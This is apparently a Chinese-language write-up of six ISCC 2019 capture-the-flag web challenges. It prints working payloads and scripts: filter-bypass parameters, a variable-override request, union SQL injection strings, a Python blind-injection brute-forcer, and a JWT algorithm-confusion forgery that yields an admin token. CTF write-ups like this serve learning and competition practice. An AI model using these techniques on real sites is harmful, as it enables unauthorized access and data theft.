iscc2019 web wp

web1

这个涨姿势,chr()函数是模256,在原数加256即可绕过,intval可以用科学计数法绕过,payload如下

1
password=2e5&value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313

web2

这题拿到了一血,因为我一发入魂,直接猜到996,果然ctf需要一点脑洞(联系到之前的996事件)。
可以用burp,删除cookie和user_code就能暴力破解过验证码了。

web3

这题是sql-libs原题,二次注入。

web4

parse_str()把查询字符串解析到变量中,存在变量覆盖,payload如下

1
action=auth&key=1&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

web5

首先说我们不是Union.373组织成员,推测是改user-agent,果然,接着又让我们输入用户名和密码,post提交username和password,得到提示组织成员密码即为flag。此题为union盲注,参考下大佬的教程http://wonderkun.cc/index.html/?p=547
先得到username

1
username=' or 1 union select 1,2,3 &password='1

Markdown
然后改脚本就能爆出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

def getPassword():
url="http://39.100.83.188:8054/"
username="union_373_Tom' union distinct select 1,2,0x{} order by 3,'0"
flag=""
for _ in range(32):
for i in range(48,120):
headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Union.373"}
data ={"username":username.format((flag+chr(i)).encode('hex')),"password":'1'}
res = requests.post(url,data=data,headers=headers)
res.encoding='utf-8'
if "union_373_Tom" in res.text:
flag= flag+chr(i-1)
print flag
break

if __name__== '__main__':
getPassword()

web6

第一次遇到这种jwt题,参考教程https://zhuanlan.zhihu.com/p/37305980
首先看到Sources里commom.js,我的用户名是chenxiyuan

1
2
3
4
5
6
function getpubkey(){
/*
get the pubkey for test
/pubkey/{md5(username+password)}
*/
}

访问拿到自己的pubkey,写脚本构造jwt

1
2
3
4
5
6
7
import jwt
import base64
public="-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----"
print(jwt.encode({"name": "chenxiyuan","priv": "admin"}, key=public, algorithm='HS256'))
"""
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiY2hlbnhpeXVhbiIsInByaXYiOiJhZG1pbiJ9.3tR0nOjSaz701Z42jmUVRsToZBLy_S-8VoMXktVFQBk'
"""

携带新的jwt访问list,得到admin信息
Markdown
访问text/admin:22f1e0aa7a31422ad63480aa27711277,得到flag